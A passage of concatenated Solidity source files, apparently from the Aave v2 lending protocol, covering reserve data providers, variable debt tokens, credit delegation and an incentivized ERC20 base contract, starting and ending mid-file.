_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUiPoolDataProvider} from './interfaces/IUiPoolDataProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol'; import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol'; import {WadRayMath} from '../protocol/libraries/math/WadRayMath.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import { DefaultReserveInterestRateStrategy } from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol'; contract UiPoolDataProvider is IUiPoolDataProvider { using WadRayMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; address public constant MOCK_USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96; function getInterestRateStrategySlopes(DefaultReserveInterestRateStrategy interestRateStrategy) internal view returns ( uint256, uint256, uint256, uint256 ) { return ( interestRateStrategy.variableRateSlope1(), interestRateStrategy.variableRateSlope2(), interestRateStrategy.stableRateSlope1(), interestRateStrategy.stableRateSlope2() ); } function getReservesData(ILendingPoolAddressesProvider provider, address user) external view override returns ( AggregatedReserveData[] memory, UserReserveData[] memory, uint256 ) { ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); IPriceOracleGetter oracle = IPriceOracleGetter(provider.getPriceOracle()); address[] memory reserves = lendingPool.getReservesList(); DataTypes.UserConfigurationMap memory userConfig = lendingPool.getUserConfiguration(user); AggregatedReserveData[] memory reservesData = new AggregatedReserveData[](reserves.length); UserReserveData[] memory userReservesData = new UserReserveData[](user != address(0) ? reserves.length : 0); for (uint256 i = 0; i < reserves.length; i++) { AggregatedReserveData memory reserveData = reservesData[i]; reserveData.underlyingAsset = reserves[i]; // reserve current state DataTypes.ReserveData memory baseData = lendingPool.getReserveData(reserveData.underlyingAsset); reserveData.liquidityIndex = baseData.liquidityIndex; reserveData.variableBorrowIndex = baseData.variableBorrowIndex; reserveData.liquidityRate = baseData.currentLiquidityRate; reserveData.variableBorrowRate = baseData.currentVariableBorrowRate; reserveData.stableBorrowRate = baseData.currentStableBorrowRate; reserveData.lastUpdateTimestamp = baseData.lastUpdateTimestamp; reserveData.aTokenAddress = baseData.aTokenAddress; reserveData.stableDebtTokenAddress = baseData.stableDebtTokenAddress; reserveData.variableDebtTokenAddress = baseData.variableDebtTokenAddress; reserveData.interestRateStrategyAddress = baseData.interestRateStrategyAddress; reserveData.priceInEth = oracle.getAssetPrice(reserveData.underlyingAsset); reserveData.availableLiquidity = IERC20Detailed(reserveData.underlyingAsset).balanceOf( reserveData.aTokenAddress ); ( reserveData.totalPrincipalStableDebt, , reserveData.averageStableRate, reserveData.stableDebtLastUpdateTimestamp ) = IStableDebtToken(reserveData.stableDebtTokenAddress).getSupplyData(); reserveData.totalScaledVariableDebt = IVariableDebtToken(reserveData.variableDebtTokenAddress) .scaledTotalSupply(); // reserve configuration // we're getting this info from the aToken, because some of assets can be not compliant with ETC20Detailed reserveData.symbol = IERC20Detailed(reserveData.aTokenAddress).symbol(); reserveData.name = ''; ( reserveData.baseLTVasCollateral, reserveData.reserveLiquidationThreshold, reserveData.reserveLiquidationBonus, reserveData.decimals, reserveData.reserveFactor ) = baseData.configuration.getParamsMemory(); ( reserveData.isActive, reserveData.isFrozen, reserveData.borrowingEnabled, reserveData.stableBorrowRateEnabled ) = baseData.configuration.getFlagsMemory(); reserveData.usageAsCollateralEnabled = reserveData.baseLTVasCollateral != 0; ( reserveData.variableRateSlope1, reserveData.variableRateSlope2, reserveData.stableRateSlope1, reserveData.stableRateSlope2 ) = getInterestRateStrategySlopes( DefaultReserveInterestRateStrategy(reserveData.interestRateStrategyAddress) ); if (user != address(0)) { // user reserve data userReservesData[i].underlyingAsset = reserveData.underlyingAsset; userReservesData[i].scaledATokenBalance = IAToken(reserveData.aTokenAddress) .scaledBalanceOf(user); userReservesData[i].usageAsCollateralEnabledOnUser = userConfig.isUsingAsCollateral(i); if (userConfig.isBorrowing(i)) { userReservesData[i].scaledVariableDebt = IVariableDebtToken( reserveData .variableDebtTokenAddress ) .scaledBalanceOf(user); userReservesData[i].principalStableDebt = IStableDebtToken( reserveData .stableDebtTokenAddress ) .principalBalanceOf(user); if (userReservesData[i].principalStableDebt != 0) { userReservesData[i].stableBorrowRate = IStableDebtToken( reserveData .stableDebtTokenAddress ) .getUserStableRate(user); userReservesData[i].stableBorrowLastUpdateTimestamp = IStableDebtToken( reserveData .stableDebtTokenAddress ) .getUserLastUpdated(user); } } } } return (reservesData, userReservesData, oracle.getAssetPrice(MOCK_USD_ADDRESS)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; interface IUiPoolDataProvider { struct AggregatedReserveData { address underlyingAsset; string name; string symbol; uint256 decimals; uint256 baseLTVasCollateral; uint256 reserveLiquidationThreshold; uint256 reserveLiquidationBonus; uint256 reserveFactor; bool usageAsCollateralEnabled; bool borrowingEnabled; bool stableBorrowRateEnabled; bool isActive; bool isFrozen; // base data uint128 liquidityIndex; uint128 variableBorrowIndex; uint128 liquidityRate; uint128 variableBorrowRate; uint128 stableBorrowRate; uint40 lastUpdateTimestamp; address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; address interestRateStrategyAddress; // uint256 availableLiquidity; uint256 totalPrincipalStableDebt; uint256 averageStableRate; uint256 stableDebtLastUpdateTimestamp; uint256 totalScaledVariableDebt; uint256 priceInEth; uint256 variableRateSlope1; uint256 variableRateSlope2; uint256 stableRateSlope1; uint256 stableRateSlope2; } // // struct ReserveData { // uint256 averageStableBorrowRate; // uint256 totalLiquidity; // } struct UserReserveData { address underlyingAsset; uint256 scaledATokenBalance; bool usageAsCollateralEnabledOnUser; uint256 stableBorrowRate; uint256 scaledVariableDebt; uint256 principalStableDebt; uint256 stableBorrowLastUpdateTimestamp; } // // struct ATokenSupplyData { // string name; // string symbol; // uint8 decimals; // uint256 totalSupply; // address aTokenAddress; // } function getReservesData(ILendingPoolAddressesProvider provider, address user) external view returns ( AggregatedReserveData[] memory, UserReserveData[] memory, uint256 ); // function getUserReservesData(ILendingPoolAddressesProvider provider, address user) // external // view // returns (UserReserveData[] memory); // // function getAllATokenSupply(ILendingPoolAddressesProvider provider) // external // view // returns (ATokenSupplyData[] memory); // // function getATokenSupply(address[] calldata aTokens) // external // view // returns (ATokenSupplyData[] memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; contract AaveProtocolDataProvider { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; address constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2; address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; struct TokenData { string symbol; address tokenAddress; } ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER; constructor(ILendingPoolAddressesProvider addressesProvider) public { ADDRESSES_PROVIDER = addressesProvider; } function getAllReservesTokens() external view returns (TokenData[] memory) { ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()); address[] memory reserves = pool.getReservesList(); TokenData[] memory reservesTokens = new TokenData[](reserves.length); for (uint256 i = 0; i < reserves.length; i++) { if (reserves[i] == MKR) { reservesTokens[i] = TokenData({symbol: 'MKR', tokenAddress: reserves[i]}); continue; } if (reserves[i] == ETH) { reservesTokens[i] = TokenData({symbol: 'ETH', tokenAddress: reserves[i]}); continue; } reservesTokens[i] = TokenData({ symbol: IERC20Detailed(reserves[i]).symbol(), tokenAddress: reserves[i] }); } return reservesTokens; } function getAllATokens() external view returns (TokenData[] memory) { ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()); address[] memory reserves = pool.getReservesList(); TokenData[] memory aTokens = new TokenData[](reserves.length); for (uint256 i = 0; i < reserves.length; i++) { DataTypes.ReserveData memory reserveData = pool.getReserveData(reserves[i]); aTokens[i] = TokenData({ symbol: IERC20Detailed(reserveData.aTokenAddress).symbol(), tokenAddress: reserveData.aTokenAddress }); } return aTokens; } function getReserveConfigurationData(address asset) external view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ) { DataTypes.ReserveConfigurationMap memory configuration = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getConfiguration(asset); (ltv, liquidationThreshold, liquidationBonus, decimals, reserveFactor) = configuration .getParamsMemory(); (isActive, isFrozen, borrowingEnabled, stableBorrowRateEnabled) = configuration .getFlagsMemory(); usageAsCollateralEnabled = liquidationThreshold > 0; } function getReserveData(address asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); return ( IERC20Detailed(asset).balanceOf(reserve.aTokenAddress), IERC20Detailed(reserve.stableDebtTokenAddress).totalSupply(), IERC20Detailed(reserve.variableDebtTokenAddress).totalSupply(), reserve.currentLiquidityRate, reserve.currentVariableBorrowRate, reserve.currentStableBorrowRate, IStableDebtToken(reserve.stableDebtTokenAddress).getAverageStableRate(), reserve.liquidityIndex, reserve.variableBorrowIndex, reserve.lastUpdateTimestamp ); } function getUserReserveData(address asset, address user) external view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); DataTypes.UserConfigurationMap memory userConfig = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getUserConfiguration(user); currentATokenBalance = IERC20Detailed(reserve.aTokenAddress).balanceOf(user); currentVariableDebt = IERC20Detailed(reserve.variableDebtTokenAddress).balanceOf(user); currentStableDebt = IERC20Detailed(reserve.stableDebtTokenAddress).balanceOf(user); principalStableDebt = IStableDebtToken(reserve.stableDebtTokenAddress).principalBalanceOf(user); scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledBalanceOf(user); liquidityRate = reserve.currentLiquidityRate; stableBorrowRate = IStableDebtToken(reserve.stableDebtTokenAddress).getUserStableRate(user); stableRateLastUpdated = IStableDebtToken(reserve.stableDebtTokenAddress).getUserLastUpdated( user ); usageAsCollateralEnabled = userConfig.isUsingAsCollateral(reserve.id); } function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); return ( reserve.aTokenAddress, reserve.stableDebtTokenAddress, reserve.variableDebtTokenAddress ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {DebtTokenBase} from './base/DebtTokenBase.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/ contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; ILendingPool internal _pool; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) public override initializer { _setName(debtTokenName); _setSymbol(debtTokenSymbol); _setDecimals(debtTokenDecimals); _pool = pool; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), address(incentivesController), debtTokenDecimals, debtTokenName, debtTokenSymbol, params ); } /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Calculates the accumulated debt balance of the user * @return The debt balance of the user **/ function balanceOf(address user) public view virtual override returns (uint256) { uint256 scaledBalance = super.balanceOf(user); if (scaledBalance == 0) { return 0; } return scaledBalance.rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset)); } /** * @dev Mints debt token to the `onBehalfOf` address * - Only callable by the LendingPool * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } uint256 previousBalance = super.balanceOf(onBehalfOf); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(onBehalfOf, amountScaled); emit Transfer(address(0), onBehalfOf, amount); emit Mint(user, onBehalfOf, amount, index); return previousBalance == 0; } /** * @dev Burns user variable debt * - Only callable by the LendingPool * @param user The user whose debt is getting burned * @param amount The amount getting burned * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); emit Transfer(user, address(0), amount); emit Burn(user, amount, index); } /** * @dev Returns the principal debt balance of the user from * @return The debt balance of the user since the last burn/mint action **/ function scaledBalanceOf(address user) public view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the total supply of the variable debt token. Represents the total debt accrued by the users * @return The total supply **/ function totalSupply() public view virtual override returns (uint256) { return super.totalSupply().rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Returns the principal balance of the user and principal total supply. * @param user The address of the user * @return The principal balance of the user * @return The principal total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } function _getUnderlyingAssetAddress() internal view override returns (address) { return _underlyingAsset; } function _getLendingPool() internal view override returns (ILendingPool) { return _pool; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from '../../../interfaces/ILendingPool.sol'; import {ICreditDelegationToken} from '../../../interfaces/ICreditDelegationToken.sol'; import { VersionedInitializable } from '../../libraries/aave-upgradeability/VersionedInitializable.sol'; import {IncentivizedERC20} from '../IncentivizedERC20.sol'; import {Errors} from '../../libraries/helpers/Errors.sol'; /** * @title DebtTokenBase * @notice Base contract for different types of debt tokens, like StableDebtToken or VariableDebtToken * @author Aave */ abstract contract DebtTokenBase is IncentivizedERC20('DEBTTOKEN_IMPL', 'DEBTTOKEN_IMPL', 0), VersionedInitializable, ICreditDelegationToken { mapping(address => mapping(address => uint256)) internal _borrowAllowances; /** * @dev Only lending pool can call functions marked by this modifier **/ modifier onlyLendingPool { require(_msgSender() == address(_getLendingPool()), Errors.CT_CALLER_MUST_BE_LENDING_POOL); _; } /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address delegatee, uint256 amount) external override { _borrowAllowances[_msgSender()][delegatee] = amount; emit BorrowAllowanceDelegated(_msgSender(), delegatee, _getUnderlyingAssetAddress(), amount); } /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view override returns (uint256) { return _borrowAllowances[fromUser][toUser]; } /** * @dev Being non transferrable, the debt token does not implement any of the * standard ERC20 functions for transfer and allowance. **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { recipient; amount; revert('TRANSFER_NOT_SUPPORTED'); } function allowance(address owner, address spender) public view virtual override returns (uint256) { owner; spender; revert('ALLOWANCE_NOT_SUPPORTED'); } function approve(address spender, uint256 amount) public virtual override returns (bool) { spender; amount; revert('APPROVAL_NOT_SUPPORTED'); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { sender; recipient; amount; revert('TRANSFER_NOT_SUPPORTED'); } function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) { spender; addedValue; revert('ALLOWANCE_NOT_SUPPORTED'); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) { spender; subtractedValue; revert('ALLOWANCE_NOT_SUPPORTED'); } function _decreaseBorrowAllowance( address delegator, address delegatee, uint256 amount ) internal { uint256 newAllowance = _borrowAllowances[delegator][delegatee].sub(amount, Errors.BORROW_ALLOWANCE_NOT_ENOUGH); _borrowAllowances[delegator][delegatee] = newAllowance; emit BorrowAllowanceDelegated(delegator, delegatee, _getUnderlyingAssetAddress(), newAllowance); } function _getUnderlyingAssetAddress() internal view virtual returns (address); function _getLendingPool() internal view virtual returns (ILendingPool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface ICreditDelegationToken { event BorrowAllowanceDelegated( address indexed fromUser, address indexed toUser, address asset, uint256 amount ); /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address delegatee, uint256 amount) external; /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Context} from '../../dependencies/openzeppelin/contracts/Context.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title ERC20 * @notice Basic ERC20 implementation * @author Aave, inspired by the Openzeppelin ERC20 implementation **/ abstract contract IncentivizedERC20 is Context, IERC20, IERC20Detailed { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor( string memory name, string memory symbol, uint8 decimals ) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return The name of the token **/ function name() public view override returns (string memory) { return _name; } /** * @return The symbol of the token **/ function symbol() public view override returns (string memory) { return _symbol; } /** * @return The decimals of the token **/ function decimals() public view override returns (uint8) { return _decimals; } /** * @return The total supply of the token **/ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @return The balance of the token **/ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @return Abstract function implemented by the child aToken/debtToken. * Done this way in order to not break compatibility with previous versions of aTokens/debtTokens **/ function _getIncentivesController() internal view virtual returns(IAaveIncentivesController); /** * @dev Executes a transfer of tokens from _msgSender() to recipient * @param recipient The recipient of the tokens * @param amount The amount of tokens being transferred * @return `true` if the transfer succeeds, `false` otherwise **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); emit Transfer(_msgSender(), recipient, amount); return true; } /** * @dev Returns the allowance of spender on the tokens owned by owner * @param owner The owner of the tokens * @param spender The user allowed to spend the owner's tokens * @return The amount of owner's tokens spender is allowed to spend **/ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Allows `spender` to spend the tokens owned by _msgSender() * @param spender The user allowed to spend _msgSender() tokens * @return `true` **/ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Executes a transfer of token from sender to recipient, if _msgSender() is allowed to do so * @param sender The owner of the tokens * @param recipient The recipient of the tokens * @param amount The amount of tokens being transferred * @return `true` if the transfer succeeds, `false` otherwise **/ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); emit Transfer(sender, recipient, amount); return true; } /** * @dev Increases the allowance of spender to spend _msgSender() tokens * @param spender The user allowed to spend on behalf of _msgSender() * @param addedValue The amount being added to the allowance * @return `true` **/ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Decreases the allowance of spender to spend _msgSender() tokens * @param spender The user allowed to spend on behalf of _msgSender() * @param subtractedValue The amount being subtracted to the allowance * @return `true` **/ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); uint256 oldSenderBalance = _balances[sender]; _balances[sender] = oldSenderBalance.sub(amount, 'ERC20: transfer amount exceeds balance'); uint256 oldRecipientBalance = _balances[recipient]; _balances[recipient] = _balances[recipient].add(amount); if (address(_getIncentivesController()) != address(0)) { uint256 currentTotalSupply = _totalSupply; _getIncentivesController().handleAction(sender, currentTotalSupply, oldSenderBalance); if (sender != recipient) { _getIncentivesController().handleAction(recipient, currentTotalSupply, oldRecipientBalance); } } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); uint256 oldTotalSupply = _totalSupply; _totalSupply = oldTotalSupply.add(amount); uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_getIncentivesController()) != address(0)) { _getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance); } } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); uint256 oldTotalSupply = _totalSupply; _totalSupply = oldTotalSupply.sub(amount); uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, 'ERC20: burn amount exceeds balance'); if (address(_getIncentivesController()) != address(0)) { _getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance); } } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setName(string memory newName) internal { _name = newName; } function _setSymbol(string memory newSymbol) internal { _symbol = newSymbol; } function _setDecimals(uint8 